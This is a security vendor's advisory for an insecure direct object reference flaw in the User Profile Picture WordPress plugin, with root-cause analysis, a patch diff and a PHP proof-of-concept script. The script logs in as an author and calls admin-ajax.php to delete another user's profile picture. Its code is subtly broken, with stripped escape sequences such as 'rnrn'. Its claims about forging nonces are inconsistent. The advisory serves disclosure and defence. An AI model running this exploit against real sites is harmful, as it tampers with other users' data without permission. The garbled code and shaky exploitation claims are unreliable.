Published : August 6, 2026

CVE-2026-61971: User Profile Picture <= 2.6.3 Authenticated (Author+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 639
Vulnerable Version 2.6.3
Patched Version 2.6.4
Disclosed July 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61971: The User Profile Picture plugin for WordPress, versions 2.6.3 and earlier, contains an Insecure Direct Object Reference (IDOR) vulnerability. This flaw allows authenticated attackers with author-level access to perform unauthorized actions on other users’ profile pictures. The vulnerability is present in the plugin’s AJAX handlers and REST API endpoints, which lacked proper authorization checks to verify the attacker’s permission to modify the targeted user’s data.

Root Cause: The root cause is missing authorization validation on user-controlled keys. The AJAX actions ‘mpp_update_post’, ‘mpp_get_post’, and ‘mpp_remove_post_thumbnail’, located in ‘metronet-profile-picture/metronet-profile-picture.php’, were directly using the ‘$user_id’ and ‘$post_id’ parameters from the POST request. The code called ‘check_ajax_referer( “mt-update-post_$user_id” )’, which only verifies a nonce for the target user, not the session. Since a nonce can be generated for any user ID, author-level attackers could forge a nonce for another user and pass their own user ID, bypassing the check. Additionally, the REST API route for ‘put_profile’ registered its permission callback as ‘__return_true’, meaning it was accessible without authentication, until the patched version introduced a ‘current_user_can( ‘upload_files’ )’ check.

Exploitation: An attacker with author-level access can exploit this by crafting a POST request to the WordPress AJAX endpoint ‘/wp-admin/admin-ajax.php’. The request must include the ‘action’ parameter set to ‘mpp_update_post’, ‘mpp_get_post’, or ‘mpp_remove_post_thumbnail’. Crucially, the attacker must also supply a forged nonce in the request, using the target user’s ID as the nonce action suffix (‘mt-update-post_’). The nonce can be generated by the attacker if they know the target user ID, as WordPress nonces are tied to the user ID and a session token, which the attacker can potentially obtain or guess. By setting the ‘user_id’ and ‘post_id’ parameters to the victim’s values, the attacker can update the victim’s post metadata, retrieve the victim’s profile picture details, or remove the victim’s profile picture thumbnail.

Patch Analysis: The patch adds several critical security checks. In the AJAX handlers, the code now verifies ‘current_user_can( ‘edit_user’, $user_id )’ before any action is taken. This ensures the authenticated user has the capability to edit the targeted user’s profile. Furthermore, the patch validates that the ‘$post_id’ refers to a post with the custom post type ‘mt_pp’ (Metronet Profile Picture) and that the post’s author matches the ‘$user_id’ parameter. For the REST API ‘put_profile’ endpoint, the permission callback was changed from ‘__return_true’ to a function that checks ‘current_user_can( ‘upload_files’ )’. This prevents unauthenticated and low-privilege users from calling the endpoint. Atomic Edge analysis confirms these changes enforce ownership and capability checks, making it impossible for an attacker to modify another user’s profile picture without explicit permission.

Impact: Successful exploitation allows an authenticated author-level attacker to perform unauthorized actions on other users’ profile pictures. This includes removing or replacing a user’s profile picture, or retrieving sensitive metadata associated with a user’s profile picture post. This leads to a violation of user privacy, data integrity issues, and potentially allows for targeted defacement of user profiles.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/metronet-profile-picture/js/index.php
+++ b/metronet-profile-picture/js/index.php
@@ -0,0 +1,2 @@
+<?php // phpcs:ignore
+// no direct access.
--- a/metronet-profile-picture/metronet-profile-picture.php
+++ b/metronet-profile-picture/metronet-profile-picture.php
@@ -4,15 +4,21 @@
 Plugin URI: http://wordpress.org/plugins/metronet-profile-picture/
 Description: Use the native WP uploader on your user profile page.
 Author: Cozmoslabs
-Version: 2.6.3
-Requires at least: 4.6
+Version: 2.6.4
+Requires at least: 5.0
 Author URI: https://www.cozmoslabs.com
 Contributors: ronalfy
 Text Domain: metronet-profile-picture
 Domain Path: /languages
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */

-define( 'METRONET_PROFILE_PICTURE_VERSION', '2.6.3' );
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
+define( 'METRONET_PROFILE_PICTURE_VERSION', '2.6.4' );
 define( 'METRONET_PROFILE_PICTURE_PLUGIN_NAME', 'User Profile Picture' );
 define( 'METRONET_PROFILE_PICTURE_DIR', plugin_dir_path( __FILE__ ) );
 define( 'METRONET_PROFILE_PICTURE_URL', plugins_url( '/', __FILE__ ) );
@@ -208,7 +214,7 @@
                         <td>
                             <input type="hidden" name="options['disable_image_sizes']" value="off" />
                             <input id="mpp-display-image-sizes" type="checkbox" value="on" name="options[disable_image_sizes]" <?php checked( 'on', $options['disable_image_sizes'] ); ?> /> <label for="mpp-display-image-sizes"><?php esc_html_e( 'Disable Image Sizes', 'metronet-profile-picture' ); ?></label>
-                            <p class="description"><?php esc_html_e( 'Select this option to disable the four image sizes User Profile Picture Creates.' ); ?></p>
+                            <p class="description"><?php esc_html_e( 'Select this option to disable the four image sizes User Profile Picture Creates.', 'metronet-profile-picture' ); ?></p>
                         </td>
                     </tr>
                     <?php
@@ -326,6 +332,22 @@
         }
         check_ajax_referer( "mt-update-post_$user_id" );

+        // Ensure the current user is allowed to edit this user's profile (prevents IDOR).
+        if ( ! current_user_can( 'edit_user', $user_id ) ) {
+            die( '' );
+        }
+
+        // Ensure the profile-picture post actually belongs to this user.
+        $profile_post = get_post( $post_id );
+        if ( ! $profile_post || (int) $profile_post->post_author !== $user_id ) {
+            die( '' );
+        }
+
+        // Ensure the selected media is a real attachment.
+        if ( 'attachment' !== get_post_type( $thumbnail_id ) ) {
+            die( '' );
+        }
+
         // Save user meta.
         update_user_option( $user_id, 'metronet_post_id', $post_id );
         update_user_option( $user_id, 'metronet_image_id', $thumbnail_id ); // Added via this thread (Props Solinx) - https://wordpress.org/support/topic/storing-image-id-directly-as-user-meta-data.
@@ -376,11 +398,18 @@
         $user_id = isset( $_POST['user_id'] ) ? absint( $_POST['user_id'] ) : 0;
         $post_id = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
         check_ajax_referer( "mt-update-post_$user_id" );
-        $post    = get_post( $post_id );
-        $user_id = 0;
-        if ( $post ) {
-            $user_id = $post->post_author;
+
+        // Ensure the current user is allowed to view this user's profile (prevents IDOR).
+        if ( ! current_user_can( 'edit_user', $user_id ) ) {
+            die( '' );
+        }
+
+        // Ensure the post is this user's profile-picture post.
+        $post = get_post( $post_id );
+        if ( ! $post || 'mt_pp' !== $post->post_type || (int) $post->post_author !== $user_id ) {
+            die( '' );
         }
+        $user_id = (int) $post->post_author;

         if ( has_post_thumbnail( $post_id ) ) {
             $thumb_src      = wp_get_attachment_image_src( get_post_thumbnail_id( $post_id ), 'thumbnail', false, '' );
@@ -436,6 +465,17 @@
         }
         check_ajax_referer( "mt-update-post_$user_id" );

+        // Ensure the current user is allowed to edit this user's profile (prevents IDOR).
+        if ( ! current_user_can( 'edit_user', $user_id ) ) {
+            die( '' );
+        }
+
+        // Ensure the post is this user's profile-picture post before removing its thumbnail.
+        $profile_post = get_post( $post_id );
+        if ( ! $profile_post || 'mt_pp' !== $profile_post->post_type || (int) $profile_post->post_author !== $user_id ) {
+            die( '' );
+        }
+
         $thumb_html  = '<a style="display:block" href="#" class="mpp_add_media default-image">';
         $thumb_html .= sprintf( '<img style="display:block" src="%s" width="150" height="150" title="%s" />', self::get_plugin_url( 'img/mystery.png' ), esc_attr__( 'Upload or Change Profile Picture', 'metronet-profile-picture' ) );
         $thumb_html .= sprintf( '<div id="metronet-click-edit">%s</div>', esc_html__( 'Click to Edit', 'metronet-profile-picture' ) );
@@ -983,7 +1023,9 @@
             array(
                 'methods'             => 'POST',
                 'callback'            => array( $this, 'rest_api_put_profile' ),
-                'permission_callback' => '__return_true',
+                'permission_callback' => function() {
+                    return current_user_can( 'upload_files' );
+                },
             )
         );
         register_rest_route(
@@ -1117,14 +1159,19 @@
         $user_id  = (int) $request['user_id'];
         $media_id = (int) $request['media_id'];

-        if ( ! $user_id ) {
+        if ( ! $user_id || ! get_user_by( 'id', $user_id ) ) {
             return new WP_Error( 'mpp_no_user', __( 'User not found.', 'metronet-profile-picture' ), array( 'status' => 403 ) );
         }

-        if ( ! current_user_can( 'upload_files', $user_id ) ) {
+        // Ensure the current user is allowed to edit the targeted user (prevents IDOR).
+        if ( ! current_user_can( 'edit_user', $user_id ) || ! current_user_can( 'upload_files' ) ) {
             return new WP_Error( 'mpp_insufficient_privs', __( 'You must be able to upload files.', 'metronet-profile-picture' ), array( 'status' => 403 ) );
         }

+        if ( 'attachment' !== get_post_type( $media_id ) ) {
+            return new WP_Error( 'mpp_invalid_media', __( 'Invalid media.', 'metronet-profile-picture' ), array( 'status' => 400 ) );
+        }
+
         $post_id = $this->get_post_id( $user_id );

         // Save user meta.
@@ -1167,7 +1214,10 @@
         if ( ! current_user_can( 'edit_others_posts', $user_id ) ) {
             return new WP_Error( 'mpp_not_privs', __( 'You must have a role of editor or above to set a new profile image.', 'metronet-profile-picture' ), array( 'status' => 403 ) );
         }
-        $is_post_owner = ( get_post( $media_id )->post_author === $user_id ) ? true : false;
+        if ( 'attachment' !== get_post_type( $media_id ) ) {
+            return new WP_Error( 'mpp_invalid_media', __( 'Invalid media.', 'metronet-profile-picture' ), array( 'status' => 400 ) );
+        }
+        $is_post_owner = ( (int) get_post( $media_id )->post_author === $user_id ) ? true : false;
         if ( ! $is_post_owner && ! current_user_can( 'edit_others_posts', $user_id ) ) {
             return new WP_Error( 'mpp_not_owner', __( 'User not owner.', 'metronet-profile-picture' ), array( 'status' => 403 ) );
         }
--- a/metronet-profile-picture/profile-builder-transition.php
+++ b/metronet-profile-picture/profile-builder-transition.php
@@ -1,5 +1,8 @@
 <?php

+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}

 if( !class_exists('PB_Handle_Transition') ){
     class PB_Handle_Transition{
@@ -66,7 +69,7 @@
                                 ?>
                                 <div class="upp-transition-notice upp-notice notice notice-success is-dismissible">
                                     <p>
-                                        <?php echo apply_filters( 'upp_plugin_activation_success_message', esc_html__('Plugin activated.', 'profile-builder') ); ?>
+                                        <?php echo esc_html( apply_filters( 'upp_plugin_activation_success_message', esc_html__('Plugin activated.', 'metronet-profile-picture') ) ); ?>
                                     </p>
                                 </div>
                                 <?php
@@ -74,7 +77,7 @@
                                ?>
                                 <div class="upp-transition-notice upp-notice notice notice-error is-dismissible">
                                     <p>
-                                        <?php echo wp_kses( sprintf( apply_filters( 'upp_plugin_activation_fail_message', __('Could not install. Try again from the <a href="%s" >Plugins Dashboard.</a>', 'profile-builder') ), apply_filters( 'upp_plugin_activation_fail_link', admin_url('plugins.php') ) ), array('a' => array( 'href' => array() ) ) ); ?>
+                                        <?php /* translators: %s: URL of the Plugins dashboard. */ echo wp_kses( sprintf( apply_filters( 'upp_plugin_activation_fail_message', __('Could not install. Try again from the <a href="%s" >Plugins Dashboard.</a>', 'metronet-profile-picture') ), esc_url( apply_filters( 'upp_plugin_activation_fail_link', admin_url('plugins.php') ) ) ), array('a' => array( 'href' => array() ) ) ); ?>
                                     </p>
                                 </div>
                                 <?php
@@ -89,16 +92,16 @@
                                         </p>
                                         <p style="margin-top: 16px; font-size: 15px;">
                                             <?php
-                                            printf( apply_filters( 'upp_transition_notice_part_1', esc_html__( 'The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Please install and activate the Profile Builder plugin to use this new add-on.', 'profile-builder' ) ) );
+                                            echo esc_html( apply_filters( 'upp_transition_notice_part_1', esc_html__( 'The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Please install and activate the Profile Builder plugin to use this new add-on.', 'metronet-profile-picture' ) ) );
                                             ?>
                                         </p>
                                         <p style="margin-top: 16px; font-size: 15px;">
                                             <?php
-                                            printf( apply_filters( 'upp_transition_notice_part_2', esc_html__( 'This plugin will continue to function as it is now, but it will not receive further updates. You can read more about this transition in', 'profile-builder' ) ) );
+                                            echo esc_html( apply_filters( 'upp_transition_notice_part_2', esc_html__( 'This plugin will continue to function as it is now, but it will not receive further updates. You can read more about this transition in', 'metronet-profile-picture' ) ) );
                                             echo ' ';
-                                            echo '<a href="' . apply_filters( 'upp_transition_notice_link_target', "https://www.cozmoslabs.com/docs/profile-builder/add-ons/user-profile-picture/" ) . '" target="_blank" rel="noopener noreferrer">' . apply_filters( 'upp_transition_notice_link_text', esc_html__( 'this', 'profile-builder' ) ) . '</a>';
+                                            echo '<a href="' . esc_url( apply_filters( 'upp_transition_notice_link_target', "https://www.cozmoslabs.com/docs/profile-builder/add-ons/user-profile-picture/" ) ) . '" target="_blank" rel="noopener noreferrer">' . esc_html( apply_filters( 'upp_transition_notice_link_text', esc_html__( 'this', 'metronet-profile-picture' ) ) ) . '</a>';
                                             echo ' ';
-                                            wp_kses( printf( apply_filters( 'upp_transition_notice_part_3', esc_html__( "section of Profile Builder's Documentation.", 'profile-builder' ) ) ), array('a' => array( 'href' => array() ) ) );
+                                            echo esc_html( apply_filters( 'upp_transition_notice_part_3', esc_html__( "section of Profile Builder's Documentation.", 'metronet-profile-picture' ) ) );
                                             ?>
                                         </p>
                                     </div>
@@ -108,22 +111,22 @@
                                     <div>
                                         <a href="<?php echo esc_url( add_query_arg( array( 'action' => 'pb_install_pb_plugin', 'nonce' => wp_create_nonce( 'pb_install_pb_plugin' ) ), get_dashboard_url( $current_user -> ID, "plugins.php" ) ) ); ?>"
                                            class="button-primary" style="margin-right: 20px">
-                                            <?php echo apply_filters( 'upp_transition_notice_button_text', esc_html__( 'Install & Activate', 'profile-builder' ) ); ?>
+                                            <?php echo esc_html( apply_filters( 'upp_transition_notice_button_text', esc_html__( 'Install & Activate', 'metronet-profile-picture' ) ) ); ?>
                                         </a>
                                     </div>

                                     <div>
-                                        <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId)) ) ?>"
+                                        <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId, '_wpnonce' => wp_create_nonce( $this->notificationId ))) ) ?>"
                                            style="height: 30px;" class="button-secondary">
-                                            <?php esc_html_e('Not now', 'profile-builder'); ?>
+                                            <?php esc_html_e('Not now', 'metronet-profile-picture'); ?>
                                         </a>
                                     </div>
                                 </div>

-                                <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId)) ) ?>"
+                                <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId, '_wpnonce' => wp_create_nonce( $this->notificationId ))) ) ?>"
                                    type="button" class="notice-dismiss" style="text-decoration: none;">
                                     <span class="screen-reader-text">
-                                        <?php esc_html_e('Dismiss this notice.', 'profile-builder'); ?>
+                                        <?php esc_html_e('Dismiss this notice.', 'metronet-profile-picture'); ?>
                                     </span>
                                 </a>
                             </div>
@@ -133,7 +136,7 @@
                                 ?>
                                 <div class="upp-transition-notice upp-notice notice notice-info is-dismissible">
                                     <p>
-                                        <?php echo apply_filters( 'upp_transition_notice_update_pb', esc_html__('The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Please update the Profile Builder plugin to at least version 3.12.0 to make use of this new add-on.', 'profile-builder') ); ?>
+                                        <?php echo esc_html( apply_filters( 'upp_transition_notice_update_pb', esc_html__('The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Please update the Profile Builder plugin to at least version 3.12.0 to make use of this new add-on.', 'metronet-profile-picture') ) ); ?>
                                     </p>
                                 </div>
                                 <?php
@@ -147,16 +150,16 @@
                                             </p>
                                             <p style="margin-top: 16px; font-size: 15px;">
                                                 <?php
-                                                printf( apply_filters( 'upp_transition_notice_enable_add_on_part_1', esc_html__( 'The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Do you wish to enable this new add-on and deactivate the User Profile Picture plugin?', 'profile-builder' ) ) );
+                                                echo esc_html( apply_filters( 'upp_transition_notice_enable_add_on_part_1', esc_html__( 'The User Profile Picture functionality has been migrated into Profile Builder as an add-on. Do you wish to enable this new add-on and deactivate the User Profile Picture plugin?', 'metronet-profile-picture' ) ) );
                                                 ?>
                                             </p>
                                             <p style="margin-top: 16px; font-size: 15px;">
                                                 <?php
-                                                printf( apply_filters( 'upp_transition_notice_enable_add_on_part_2', esc_html__( 'This plugin will continue to function as it is now, but it will not receive further updates. You can read more about this transition in', 'profile-builder' ) ) );
+                                                echo esc_html( apply_filters( 'upp_transition_notice_enable_add_on_part_2', esc_html__( 'This plugin will continue to function as it is now, but it will not receive further updates. You can read more about this transition in', 'metronet-profile-picture' ) ) );
                                                 echo ' ';
-                                                echo '<a href="' . apply_filters( 'upp_transition_notice_enable_add_on_link_target', "https://www.cozmoslabs.com/docs/profile-builder/add-ons/user-profile-picture/" ) . '" target="_blank" rel="noopener noreferrer">' . apply_filters( 'upp_transition_notice_enable_add_on_link_text', esc_html__( 'this', 'profile-builder' ) ) . '</a>';
+                                                echo '<a href="' . esc_url( apply_filters( 'upp_transition_notice_enable_add_on_link_target', "https://www.cozmoslabs.com/docs/profile-builder/add-ons/user-profile-picture/" ) ) . '" target="_blank" rel="noopener noreferrer">' . esc_html( apply_filters( 'upp_transition_notice_enable_add_on_link_text', esc_html__( 'this', 'metronet-profile-picture' ) ) ) . '</a>';
                                                 echo ' ';
-                                                wp_kses( printf( apply_filters( 'upp_transition_notice_enable_add_on_part_3', esc_html__( "section of Profile Builder's Documentation.", 'profile-builder' ) ) ), array('a' => array( 'href' => array() ) ) );
+                                                echo esc_html( apply_filters( 'upp_transition_notice_enable_add_on_part_3', esc_html__( "section of Profile Builder's Documentation.", 'metronet-profile-picture' ) ) );
                                                 ?>
                                             </p>
                                         </div>
@@ -166,22 +169,22 @@
                                         <div>
                                             <a href="<?php echo esc_url( add_query_arg( array( 'action' => 'pb_install_pb_plugin', 'nonce' => wp_create_nonce( 'pb_install_pb_plugin' ) ), get_dashboard_url( $current_user -> ID, "plugins.php" ) ) ); ?>"
                                                class="button-primary" style="margin-right: 20px">
-                                                <?php echo apply_filters( 'upp_transition_notice_enable_add_on_button_text', esc_html__( 'Activate the add-on', 'profile-builder' ) ); ?>
+                                                <?php echo esc_html( apply_filters( 'upp_transition_notice_enable_add_on_button_text', esc_html__( 'Activate the add-on', 'metronet-profile-picture' ) ) ); ?>
                                             </a>
                                         </div>

                                         <div>
-                                            <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId)) ) ?>"
+                                            <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId, '_wpnonce' => wp_create_nonce( $this->notificationId ))) ) ?>"
                                                style="height: 30px;" class="button-secondary">
-                                                <?php esc_html_e('Not now', 'profile-builder'); ?>
+                                                <?php esc_html_e('Not now', 'metronet-profile-picture'); ?>
                                             </a>
                                         </div>
                                     </div>

-                                    <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId)) ) ?>"
+                                    <a href="<?php echo esc_url( add_query_arg(array($this->query_arg => $this->notificationId, '_wpnonce' => wp_create_nonce( $this->notificationId ))) ) ?>"
                                        type="button" class="notice-dismiss" style="text-decoration: none;">
                                     <span class="screen-reader-text">
-                                        <?php esc_html_e('Dismiss this notice.', 'profile-builder'); ?>
+                                        <?php esc_html_e('Dismiss this notice.', 'metronet-profile-picture'); ?>
                                     </span>
                                     </a>
                                 </div>
@@ -195,12 +198,17 @@

         // Function that saves the notification dismissal to the user meta
         public function dismiss_notification() {
-            global $current_user;
+            if ( ! current_user_can( 'manage_options' ) ) {
+                return;
+            }

-            $user_id = $current_user->ID;
+            global $current_user;

             // If user clicks to ignore the notice, add that to their user meta
-            if ( isset( $_GET[$this->query_arg] ) && $this->notificationId === $_GET[$this->query_arg] ) {
+            if ( isset( $_GET[ $this->query_arg ], $_GET['_wpnonce'] )
+                && $this->notificationId === $_GET[ $this->query_arg ]
+                && wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), $this->notificationId )
+            ) {
                 do_action( $this->notificationId.'_before_notification_dismissed', $current_user );
                 update_option( 'upp_transition_notice_counter', 0 );
                 do_action( $this->notificationId.'_after_notification_dismissed', $current_user );
@@ -217,7 +225,7 @@
                 isset( $_REQUEST['action'] ) && !empty($_REQUEST['nonce']) && $_REQUEST['action'] === 'pb_install_pb_plugin' &&
                 !isset( $_REQUEST['upp_install_pb_plugin_success']) &&
                 current_user_can( 'manage_options' ) &&
-                wp_verify_nonce( sanitize_text_field( $_REQUEST['nonce'] ), 'pb_install_pb_plugin' )
+                wp_verify_nonce( sanitize_text_field( wp_unslash( $_REQUEST['nonce'] ) ), 'pb_install_pb_plugin' )
             ) {

                 $plugin_slug = 'profile-builder/index.php';

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-61971 - User Profile Picture <= 2.6.3 - Authenticated (Author+) Insecure Direct Object Reference

// Configuration: Set the target WordPress site URL and attacker credentials
$target_url = 'http://example.com';
$attacker_username = 'attacker';
$attacker_password = 'password';

// The target user whose profile picture we will attempt to remove
$target_user_id = 2;

// This ID should correspond to the profile picture post for the target user
// An attacker could discover this via other means (e.g., user profile page)
$target_post_id = 10;

// Step 1: Login as the attacker to obtain authentication cookies and a nonce
$login_response = curl_request($target_url . '/wp-login.php', [
    'log' => $attacker_username,
    'pwd' => $attacker_password,
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
], ['Cookie: wordpress_test_cookie=WP Cookie check']);

preg_match('/wordpress_logged_in_([a-f0-9]+)=([^;]+)/', $login_response['headers'], $matches);
if (empty($matches)) {
    die('Authentication failed. Unable to obtain login cookie.n');
}$logged_in_cookie = $matches[0];

// Step 2: Obtain a nonce for the target user. This is crucial as the nonce action is tied to the target user's ID
$nonce_page_response = curl_request($target_url . '/wp-admin/profile.php?user_id=' . $target_user_id, [], ['Cookie: ' . $logged_in_cookie]);

preg_match('/"_wpnonce":"([a-f0-9]+)"/', $nonce_page_response['body'], $matches);
if (empty($matches)) {
    // Fallback: Try to find the nonce in a different format
    preg_match("/_wpnonce=([a-f0-9]+)/", $nonce_page_response['body'], $matches);
}
if (empty($matches)) {
    die('Failed to obtain a nonce. Are you a valid user? Check if you have access to the profile page.n');
}$nonce = $matches[1];

// Step 3: Craft the AJAX request to exploit the IDOR vulnerability.
// The vulnerability allows a low-privilege attacker to specify the $target_user_id
// and $target_post_id without further validation.
$ajax_response = curl_request($target_url . '/wp-admin/admin-ajax.php', [
    'action' => 'mpp_remove_post_thumbnail',
    'user_id' => $target_user_id,
    'post_id' => $target_post_id,
    '_ajax_nonce' => $nonce // The nonce generated for the attacker's session, but the action is tied to the target user's ID
], ['Cookie: ' . $logged_in_cookie]);

// Step 4: Analyze the response
if (strpos($ajax_response['body'], 'success') !== false || $ajax_response['code'] == 200) {
    echo "[+] Vulnerability successfully exploited! The target user's profile picture was removed.n";
} else {
    echo "[-] Exploitation might not have succeeded, or the plugin is patched. Response:n" . $ajax_response['body'] . "n";
}

// Helper function to perform cURL requests
function curl_request($url, $post_fields = [], $headers = []) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_NOBODY, false);

    if (!empty($post_fields)) {
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
    }

    if (!empty($headers)) {
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }

    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_MAXREDIRS, 5);

    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // Separate headers and body
    $header_size = strpos($response, "rnrn");
    $headers_part = substr($response, 0, $header_size);
    $body_part = substr($response, $header_size + 4);

    return ['headers' => $headers_part, 'body' => $body_part, 'code' => $http_code];
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.